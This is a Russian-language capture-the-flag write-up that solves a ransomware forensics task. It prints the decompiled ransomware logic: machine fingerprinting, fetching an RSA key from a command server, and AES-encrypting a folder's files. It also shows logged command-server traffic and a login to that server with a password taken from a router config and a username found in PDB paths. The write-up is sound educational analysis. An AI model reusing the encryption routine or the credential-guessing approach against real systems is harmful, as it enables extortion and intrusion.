В конкурсе было 10 заданий, каждое из которых могло содержать от одного до двух флагов. Задания были на реверс, криптографию, web, написание эксплоитов, обход CFG и были представлены на красивой древней карте.
Каждый сданный флаг приносил первому сдавшему участнику около N очков (N = около 100, в зависимости от сложности и количества флагов в задании), а каждому следующему, сдавшему флаг, доставалось на одно очко меньше (N-i).
Задача:
«Не бей, Одиссей»
![]()
«Итак, я на финишной прямой – осталось последнее задание. На локации меня ждал воин, которого я идентифицировал как Одиссея (но это не точно!). Попытка отсканировать воина успехом не завершилась - видимо, через поднятое забрало сигнал не считывался. Тем временем предполагаемый Одиссей торжественно вручил мне меч и предложил с ним сразиться, в прямом смысле этого слова. Наивный, наверное, думает, что я ничего тяжелее ультра-легкого ноутбука и в руках не держал, и не догадывается даже, что бросает вызов парню со вторым разрядом по фехтованию. В общем, бой продлился около двух минут, после чего мне удалось изящным ударом меча открыть шлем, быстро провести сканером и так же быстро убежать. Ну их, эти древнегреческие поединки, у меня есть дела поважнее - за забралом рыцаря скрывалась целая инфраструктура сети, которая к тому же оказалась зашифрована.»Подсказка:
В схеме сети находится 5 ПК, но информация есть только о трех - так и нужно, остальные для отвлечения внимания. Исследуйте знания о сетевом взаимодействии в сети для загрузки шифровальщика.
Первые ощущения от задания:
Что мы имеем в наличии:
- Информация о
PC-1
Зашифрованные файлы (1_encr.zip)
История браузера (1_places.sqlite)
Реестр (1_reg.reg)
Системная информация (1_sysinfo.txt)
PC-2
Зашифрованные файлы (2_encr.zip)
История браузера (2_places.sqlite)
Реестр (2_reg.reg)
Системная информация (2_sysinfo.txt)
PC-3
Зашифрованные файлы (3_encr.zip)
История браузера (3_places.sqlite)
Реестр (3_reg.reg)
Системная информация (3_sysinfo.txt)
Роутер
Конфиг роутера (DIR-300NRU_rev.B5_B6_2.5.12_1970.01.01.00.10.57_config_backup.tar.gz)
Решение:
[Шаг 1 | Шаг 2 | Шаг 3 | Шаг 4 | Шаг 5 | Шаг 6]Шаг 1.
Смотрим историю браузера.Смотрим внутрь .sqlite - файлов, видим версию "SQLite format 3", значит их можно сдампить утилитой sqlite3.exe:
cmd>for %i in (*.sqlite) do sqlite3.exe %i .dump >%i.sql cmd>sqlite3.exe 1_places.sqlite .dump 1>1_places.sqlite.sql cmd>sqlite3.exe 2_places.sqlite .dump 1>2_places.sqlite.sql cmd>sqlite3.exe 3_places.sqlite .dump 1>3_places.sqlite.sql
В сдампленных .sql файлах видим много URL'ов, но из интересных только http://crypt.neoquest.ru/470DB641835FA7695DBF31470AF0C57F2846395A1951332AB41DCCF3E93EC03F/crypt.exe:
Скачиваем crypt.exe (180Kb) и запускаем его:
Похоже это что-то не то, что мы искали. Загружаем этот EXE-шник в IDA и не находим там ничего полезного (разве что пути к .PDB-файлу: C:\Users\1\source\repos\ConsoleApplication2\Release\ConsoleApplication2.pdb).
Это был тупиковый путь, ищем дальше...
Шаг 2.
Правильный crypt.exe.После долгих поисков припоминаем, что во время решения task6, мы нашли на рабочем столе админа интересный файл test.py, который был совершенно не нужен для решения task6, но сейчас может пригодиться:
if __name__ == '__main__': ip='213.170.100.215' print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) if p.dominio == 'crypt.neoquest.ru.': udps.sendto(p.respuesta(ip), addr) print 'Respuesta: %s -> %s' % (p.dominio, ip) ...Заменяем crypt.neoquest.ru на 213.170.100.215: https://213.170.100.215/470DB641835FA7695DBF31470AF0C57F2846395A1951332AB41DCCF3E93EC03F/crypt.exe и скачиваем уже другой crypt.exe (420Kb), побольше чем предыдущий.
Шаг 3.
Анализ поведения crypt.exe.Начинаем анализировать файл crypt.exe. Сразу замечаем, что он связан с PDB-файлом C:\Users\1\Desktop\Program\Release\Program.pdb, запоминаем это.
Запускаем его под виртуалкой и обнаруживаем обращение к адресу http://213.170.100.215/39ED243B85ED69B236D3F803EB4E3796F50841F42EB70DEF29D2D93DBBB2B42F/index.php, но сервер 213.170.100.215 не готов взаимодействовать по протоколу http, только по https, поэтому
- Пропатчим crypt.exe, чтобы он обращался не к серверу 213.170.100.215, а к серверу 127.0.0.1

- Подготовим на Python простой Web-сервер, который будет перекидывать запросы с http://127.0.0.1 на https://213.170.100.215/, логгируя их содержимое.
Web-сервер теперь ловит такие запросы/ответы:
Request 1:
POST /39ED243B85ED69B236D3F803EB4E3796F50841F42EB70DEF29D2D93DBBB2B42F/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0 Host: 127.0.0.1 Content-Length: 63 Connection: Keep-Alive E9nm1Z2vVWCbca4pIv8ZN2xVw1R3pH=6lsnL8TMRoWcDq3ZutUV4sOkwUMZ6ihW HTTP/1.1 200 OK Date: Sat, 23 Mar 2019 09:41:53 GMT Server: Apache/2.4.34 (Win32) OpenSSL/1.1.0i PHP/7.2.9 X-Powered-By: PHP/7.2.9 Set-Cookie: PHPSESSID=kotg9hcsunijdavpcs0okdi04g; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 96 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 3503125eee9f61f0f0fc214c670c061a9d5ae60c26a8aef6b374301552f98cdcuWxUz3cKhAbbOjxi53V6uhX1BPTekIXz
Request 2:
POST /39ED243B85ED69B236D3F803EB4E3796F50841F42EB70DEF29D2D93DBBB2B42F/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0 Host: 127.0.0.1 Content-Length: 48 Connection: Keep-Alive Cookie: PHPSESSID=kotg9hcsunijdavpcs0okdi04g b8vgvTS7Tr0mUS7KSFY2hbu=3e69712a1c42c7ca0d2c7ef4356523ea858815fa6f857ca06ff698d05b6c5683 HTTP/1.1 200 OK Date: Sat, 23 Mar 2019 09:47:08 GMT Server: Apache/2.4.34 (Win32) OpenSSL/1.1.0i PHP/7.2.9 X-Powered-By: PHP/7.2.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 0
Request 3:
GET /39ED243B85ED69B236D3F803EB4E3796F50841F42EB70DEF29D2D93DBBB2B42F/index.php?L=44a2dfa51a0252a910c9ff01408a96f297cb615fd897a8726c65729f13db5710 HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0 Host: 127.0.0.1 Connection: Keep-Alive Cookie: PHPSESSID=kotg9hcsunijdavpcs0okdi04g HTTP/1.1 200 OK Date: Sat, 23 Mar 2019 09:47:09 GMT Server: Apache/2.4.34 (Win32) OpenSSL/1.1.0i PHP/7.2.9 X-Powered-By: PHP/7.2.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 368 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 BgIAAACkAABSU0ExAAgAAAEAAQDlcMg0ypnn0PHpmIgd5d+XMP12WnIrxzjCl32HmEgk6g3MlJ3EjGlyU3LYd+2UdJhp2RFe4VPDjXtIB6L6Fw5+Ffwv/82p6JemA3MjbQEkv0WgC6oSJjBqLVXXNY+K64cNmVMg1bVBTC9M7k/+1kxseTcT/uxAv8rDRfquNu9nHaKXScBkFW8n9ZDEPK7NOmAWK3668vEfxxsQLEjxiWj9bvSHwKF2dt07gSR4+bXceJP06ID5P5NqM7bLFLop2bDwB+fpiKCeyVVeg5rR0i2RPEIL+SJWLWBhKkuyedjiHmNxR7MQ1+/XBSDUKYGwjvcL7gSTB0NUUiK6gquuWybK
На этом всё, больше никакого сетевого взаимодействия не происходит, зато если посмотреть в Process Monitor, можно увидеть там обращение к папке C:\Dociments:
Создадим эту папку и несколько файлов в ней.
Теперь в Process Explorer видно, что обращение к папке успешно, и дальше ничего не происходит:
Но как только мы попытаемся запустить crypt.exe под WinDBG, от сделает своё чёрное дело и зашифрует все файлы в папке C:\Dociments:
Можно заметить, что после шифрования:
- получаются абсолютно одинаковые файлы file1.txt и file2.txt (так как и исходные файлы были одинаковыми)
- если исходные файлы делать разными, то после шифрования получаются разные файлы с одинаковым 256-байтным префиксом.
- при каждом следующем запуске crypt.exe, 256-байтный префикс зашифрованных файлов меняется
- файлы из задания (1_encr.zip: [1.txt, 2.txt, 3.txt, 4.txt, key.txt], 2_encr.zip: [..., key.txt], 3_encr.zip: [..., key.txt]) имеют одинаковый 256-байтный префикс, значит, скорее всего, они были зашифрованы именно таким шифрованием, как это делает crypt.exe.
Шаг 4.
Анализ внутренностей crypt.exe.Пора подключать тяжёлую артиллерию: IDA + WinDBG.
После продолжительного исследования получаем такой код функции main():
int __cdecl main(int argc, const char **argv, const char **envp) { ... // Прячем окно с текущей консолью. Зачем? Who knows... hwndConsole = GetConsoleWindow(); ShowWindow(hwndConsole, HIDE_WINDOW); ... wstr_init_from_c_string_with_len(&wstrAddr, L"213.170.100.215", 15u); // Устанавилваем http-соединение с управляющим сервером pConnection = connection_init(connection_ctx, wstrAddr); ... // Генерируем случайный AES-ключ шифрования memset(pKeyStorage, 0, sizeof(SKeyDataStorage)); *(_DWORD *)&pKeyStorage->keyAES.hdr.bType = 520; pAESKeyData = pKeyStorage->keyAES.keyData; pKeyStorage->keyAES.hdr.aiKeyAlg = CALG_AES_256; pKeyStorage->keyAES.keySize = 32; ... gen_random_32_bytes((BYTE *)pKeyStorage->keyAES.keyData, v16); ... // Получаем строку, содержащую уникальные параметры текущего компьютера (имя, ОС, ...) get_current_computer_params(&strCompParams); ... // Превращаем строку с параметрами компьютера в hash (sha256) hash_data(&strCompParamsHash, &strCompParams, &strTmp); ... // Делаем 2 первых POST-запроса по HTTP. Зачем они? Похоже не нужны, но скорее всего могли бы // использоваться для проверки, что сервер, к которому мы подключились правильный и знает Shared Secret. // После чего делаем GET-запрос, в который передаём ID текущего компьютера. Этот GET-запрос выдаёт нам // Public-RSA-ключ, который предназначен именно для этого компьютера make_init_http_requests((SRequestCtx *)reqCtx.hRequest, &wstrCompParamsHash, &blobRSAEncryptionKey); // Обрабатываем папку 'Dociments'. Шифруем в ней файлы process_userprofile_documents(pRequest, &blobRSAEncryptionKey); if ( pConnection ) connection_close(pConnection, pConnection); ... return 0; }
Функция сбора параметров текущего компьютера для генерации уникального идентификатора компьютера выглядит так:
SMyStringClassA *__thiscall get_current_computer_params(SMyStringClassA *pCompParamsStr) { ... GetComputerNameA(pCompName, &nSize); ... RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, 0x20119u, &hKeyWindowsNTCurVer); RegQueryValueExA(hKeyWindowsNTCurVer, "ProductName", 0, 0, pStrDataProductName, &nSize); ... RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\RemovalTools\\MRT", 0, 0x20119u, &hKeyRemovalToolsMRT); RegQueryValueExA(hKeyRemovalToolsMRT, "GUID", 0, 0, pStrMRTGUID, &nSize); ... RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", 0, 0x20119u, &hKeyCryptography); RegQueryValueExA(hKeyCryptography, "MachineGUID", 0, 0, pStrMachineGUID, &nSize); ... return std::string(pCompName) + pStrDataProductName + pStrMRTGUID + pStrMachineGUID; }
Функции обработки каталога C:\Dociments и файлов в нём выглядят так:
bool __thiscall process_userprofile_documents(SRequestCtx *pRequest, SBlob *argRSAEncryptionKey) { ... wstr_init_from_c_string_with_len(&wstrUserProfile, L"%USERPROFILE%", 0xDu); pwstrExpandedUserProfile = expand_env(&wstrExpandedUserProfile, &wstrUserProfile); get_dociments_folder((SMyStringClassW *)&lpFileName, pwstrExpandedUserProfile); ... fileAttr = GetFileAttributesW(lpstrDir); if ( fileAttr == -1 || !(fileAttr & FILE_ATTRIBUTE_DIRECTORY)) { bResult = FALSE; } else { // Шифруем AES-ключ публичным RSA-ключом pRSAEncKey = blob_to_str(&strRSAEncryptionKey, argRSAEncryptionKey), bEncrypted = encrypt_make_aes_key_info_with_rsa(pRequest_->pKeyStorage, pRSAEncKey), if(!bEncrypted) { bResult = FALSE; } else { wstr_init_from_c_string_with_len2(&wstrDocFolderPath, (const wchar_t *)&lpFileName, 0, 0xFFFFFFFF); enum_all_files(pRequest_, wstrDocFolderPath); bResult = TRUE; } } ... return bResult; } void __thiscall enum_all_files(SRequestCtx *pReq, SMyStringClassW wstrFolderPath) { ... pwstrTargetFolderFilesMask = wstr_append_cstr_len(&wstrTargetFolderFilesMask, &wstrFolderPath, L"\\*"); hEnumHandle = FindFirstFileW(pwstrTargetFolderFilesMask->pbuff_or_local_buff, &FindFileData); if ( hEnumHandle != (HANDLE)-1 ) { do { nLen = 0; curFileName = L""; if ( FindFileData.cFileName[0] ) nLen = wcslen(FindFileData.cFileName); wstr_init_from_c_string_with_len(&curFileName, FindFileData.cFileName, nLen); if ( FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) { // Это подкаталог => рекурсивно обрабатываем его if ( wstr_compare_with_cstr(&curFileName, L".") && wstr_compare_with_cstr(&curFileName, L"..") ) { wstrFolderWithSlash = wstr_append_cstr_len(&strStorage, &wstrFolderPath, L"\\"); wstr_concat_strings(&wstrSubfolderAbsolutePath, wstrFolderWithSlash, &curFileName); enum_all_files(pReq, wstrSubfolderAbsolutePath); } } else { ... pstrFullFilePath = wstr_concat_strings((SMyStringClassW *)&strFullFilePath, pwstrFolderPathWithSlash, &curFileName); fileDataStorage.blob.pBegin = 0; fileDataStorage.blob.pCurEnd = 0; fileDataStorage.blob.pEnd = 0; ... wstr_init_from_c_string_with_len2(&strFullFilePath1, pstrFullFilePath->pbuff_or_local_buff, 0, 0xFFFFFFFF); // Читаем файл в память целиком read_whole_binary_file(&fileDataStorage, strFullFilePath1, pFileDataStorage); ... // Шифруем encrypt_blob_aes(pKeyStorage, &fileDataStorage.blob); pFileDataStorage = (SBlobDataStorage *)((char *)&a3 + 3); ... replace_target_value( blobKeyInfoSavedToFile.pBegin, pReq->pKeyStorage->keyInfoDataSize, pReq->pKeyStorage->pKeyInfo, pReq->pKeyStorage->keyInfoDataSize); // Вставляем зашифрованный AES-ключ перед зашифрованными данными maybe_blob_insert_data( &fileDataStorage.blob, fileDataStorage.blob.pBegin, pKeyInfoSavedToFile, blobKeyInfoSavedToFile.pCurEnd, a5); pFileDataStorage = &fileDataStorage.blob; ... // Перезаписываем файл зашифрованными данными write_encrypted_file(strFullFilePath1, pFileDataStorage); } } while ( FindNextFileW(hEnumHandle, &FindFileData) ); FindClose(hEnumHandle); } }
Выводы:
- Для каждого компьютера управляющий сервер генерирует уникальную пару AES-ключей (приватный и публичный), но отдаёт только публичный.
- Структура зашифрованного файла: <256-байтный-зашифрованный-AES-ключ><зашифрованные данные>
- Без приватного RSA-ключа нам будет не расшифровать зашифрованный файл, значит нужно его как-либо добыть.
Шаг 5.
Добываем приватный ключ.Есть множество вариантов, как можно добыть приватный ключ в этом задании, один из них - получить доступ к управляющему серверу. Помните, в исходных файлах к этому заданию у нас был дан файл с конфигурацией роутера DIR-300NRU_rev.B5_B6_2.5.12_1970.01.01.00.10.57_config_backup.tar. Этот файл содержит много всего, но одно из самых интересных мест выглядит так:
"passwd": [ { "login": "admin", "pass": "qwertyA1" } ],
Подумаем, где можно использовать эти данные? Для этого просканируем управляющий сервер nmap'ом:
PORT STATE SERVICE 443/tcp open https 3389/tcp open ms-wbt-server
Не так много открытых портов... Пробуем подключиться по RDP, используя логины admin/administrator/... с паролем "qwertyA1". Не пускает :(.
Какие ещё могут быть имена пользователей? Припоминаем, что видели имя пользователя "1" в путях к PDB-файлам:
C:\Users\1\source\repos\ConsoleApplication2\Release\ConsoleApplication2.pdb
C:\Users\1\Desktop\Program\Release\Program.pdb
Пробуем подключиться под пользователем "1". BINGO!!!
На рабочем столе уже открыта папка с файлами, которые нам помогут для решения задачи:
Дампим содержимое SQLite-базы test_data.db:
Шаг 6.
Расшифровка файлов.Итак, для расшифровки нам нужно:
- Получить ID-компьютеров, для которых выполнялось шифрование (возьмём эти данные из REG-файлов)
- Для каждого компьютера по ID ищем приватный ключ (возьмём из сдампленного test_data.db)
- Для каждого расшифровываемого файла нужно взять из него первые 256 байт и расшифровать их с помощью алгоритма RSA и приватного RSA-ключа, полученного ранее. Получим 32-байтный AES-ключ.
- Для каждого расшифровываемого файла нужно взять все данные, начиная с 256 байта, и получить расшифрованный текст используя алгоритм AES и AES-ключ, полученный ранее.
Для компьютера 1 собираем из REG-файла данные, необходимые для получения ID:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine\0] "szName"="DESKTOP-6R8OTJK" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography] "MachineGuid"="cdcb86cb-6c52-47f3-af14-7fe2c0118699" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion] "ProductName"="Windows 10 Pro" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RemovalTools\MRT] "GUID"="603B0028-854D-F0EF-DAFF-B1BF9209E85D"
Получаем из этих параметров идентифицирующую компьютер строку:
DESKTOP-6R8OTJKWindows 10 Pro603B0028-854D-F0EF-DAFF-B1BF9209E85Dcdcb86cb-6c52-47f3-af14-7fe2c0118699
Получаем ID компьютера:
sha256("DESKTOP-6R8OTJKWindows 10 Pro603B0028-854D-F0EF-DAFF-B1BF9209E85Dcdcb86cb-6c52-47f3-af14-7fe2c0118699") = db63eb603f73acf62b76e1a24b92290877264d65e277ec687c094648539bbc31
Находим приватный ключ в test_data.db:
INSERT INTO "keys" VALUES('db63eb603f73acf62b76e1a24b92290877264d65e277ec687c094648539bbc31','BgIAAACkAABSU0ExAAgAAAEAAQAxP/QVdZUZdrB0G4uMikHhvJTMdI/ex+Seli/x5eI2OsBaYwSYLg/Ased3drULAW1DgZbFC6njhTS7KR3aCu+zzUnPS5KhCWY87RxrsWRo6fNiLFfvWPpFXSXCPyy30xSS1mBxDIScnQimnWBooDyeIgFs2hVTzuJsV1yuDVgACeKs/W64kVmyipylWgtpGosb840JpJBTOsixt+txw/1zVm6413HUlBMTjIKGty0YY/Zj1qsKj6Dm0Sc7RuDt9O68aHxWf4yOOYKaZ2TgE0OOtii1zrcp+GPbpzyhJfXiPrOpj1jJqqc2muAdmRjrNVMXsyIxqJdzg8W0+9zitqjC','BwIAAACkAABSU0EyAAgAAAEAAQAxP/QVdZUZdrB0G4uMikHhvJTMdI/ex+Seli/x5eI2OsBaYwSYLg/Ased3drULAW1DgZbFC6njhTS7KR3aCu+zzUnPS5KhCWY87RxrsWRo6fNiLFfvWPpFXSXCPyy30xSS1mBxDIScnQimnWBooDyeIgFs2hVTzuJsV1yuDVgACeKs/W64kVmyipylWgtpGosb840JpJBTOsixt+txw/1zVm6413HUlBMTjIKGty0YY/Zj1qsKj6Dm0Sc7RuDt9O68aHxWf4yOOYKaZ2TgE0OOtii1zrcp+GPbpzyhJfXiPrOpj1jJqqc2muAdmRjrNVMXsyIxqJdzg8W0+9zitqjCo7lJyRVOzKPh5PXE77YDFhFwxOpcx5O9bqr3DPbBlG0TeULYrHmNJrLryeWaAgwVfFCdf5DxERZvjxlL23j6NlKYFXhRheEZ9kpnaxsl3a25X8tToeAlXfgVNUPD4WZ4CZZpDR0JToQMTouxIzvhtGG7cI0rf1jXeKTQm9g4X/IbWQzChECkSDHb+ej/baKFeGVEgIDowQuNE/jzskvlR7I7xLsRe1UmBj75+0AF4R9XXyQw0FpXoHv6CVDAccFGvPjQwjQAKqa47J/RFooDg6Q7MQSV99v8yHGay9xfomqeJGQMj2pl21G5F/gKC6VCNO/NfYIJU4oPx8kKl7KazelyJfk745nkTQaqIDMNJBpfzBr03pm/CY3pCzFQYYMwjfgtKaJJcYTSEHeuL0m7MVbvZN5iupsMAnuEd9BXQM+KOc8hyed/wT2ngCDJcfJ4sA8yTPXy+eySIj5DwnGW5nBQjcvPY7bPHleBTFdERNPJLINATZMFag8uhMYWirAsmfq75vWoQw7HlMVYv9wD8F+5Ai3yVymhksk+Cs3t4YILK8/rI+TQINzWiMy3yHvZPhm4WKxaXEPrD3+yv2YKx9B4ljv5HYkA94UPFNsUcDYpanIKFza3aR+mzaUvmDoV5YLvrkZ7LQApULvaP0eJKiWMJ0zLzQqxQCzjoenSB6Xd/86RXTeREMDVrz/sXxAuRABHDZOK/tODknqBUA41oxsmSEegvy+vVYqi5l2F+vuYxlDeNIinL95UK4vvZZKYZ4/9OvJuP6ic9QpNPcCOWxB6TCSL7wVcK+7aTmeq1ZkpEmwOBhSrKdlVLGZ/fVTwFR35kd8Chwq1T4egpar3jZGRIDpWmOZ6DnBhEprdwaDipzycM0f/KkWlZy5aygaDJ65RrYxLmwSSXDf8CByBJFMCfK3LFJswNcC4o4YTFMkWnOVdaxU4a7f62lQXwpnt4lGRt/xNNM+Y5fXx94OwMeB2cVpm4fb0Zap2i1berSsEyk7tZ+S4MawNzKFJ+s97q8BxzFbQ/ffI8/HgG0HBeLkb04uiPchNXviucmz0NSviy3oIw0X71vnejFapYKDJGFev0+aVoG60CGY+SbBRPJtx9xD5S0N+LJKnZXFUdKsK6Gp9Ppj4rFTl2VTmJLp3l64inytzIWRQU5R5zpW2dv5mImCaAdR4QiqHdo12PH0=');
Берём первые 256 байтов зашифрованного файла:
int main() { auto vecRSAPrivateKey = readFile("priv.rsa.bin"); auto vecDataToDecrypt = readFile("aes.key-info.bin"); HCRYPTPROV phProv = 0; bool bOK = false; if (CryptAcquireContextW(&phProv, 0u, L"Microsoft Enhanced Cryptographic Provider v1.0", PROV_RSA_FULL, 0u)) { HCRYPTKEY phKey = 0; if (CryptImportKey(phProv, (const BYTE*)vecRSAPrivateKey.data(), (DWORD)vecRSAPrivateKey.size(), 0, 0, &phKey)) { DWORD dwDataLen = (DWORD)vecDataToDecrypt.size(); if (CryptDecrypt(phKey, 0, TRUE, 0, (BYTE *)vecDataToDecrypt.data(), &dwDataLen)) { vecDataToDecrypt.resize(dwDataLen); writeFile("aes.key.decrypted.bin", vecDataToDecrypt); } } } }
Получили такой AES-ключ:
И теперь, используя его, мы можем расшифровать зашифрованный файл:
from Crypto.Cipher import AES with open("aes.key.bin", "rb") as f: key = f.read() with open('key.txt', "rb") as f: encoded_data = f.read() encoded_data = encoded_data[256:] iv = bytes(b'\x00' * 16) cipher = AES.new(key, AES.MODE_CBC, iv ) s = cipher.decrypt(encoded_data) decrypted = s[:-ord(s[len(s)-1:])] # unpad with open('key.txt.decoded', "wb") as f: f.write(decrypted)
Получили расшифрованный файл key.txt:
NO! key not HERE!
Повторив эти шаги для всех зашифрованных файлов, можно получить искомый ключ. Готово (жаль, я не успел сдать вовремя, так как застрял на шаге 5)











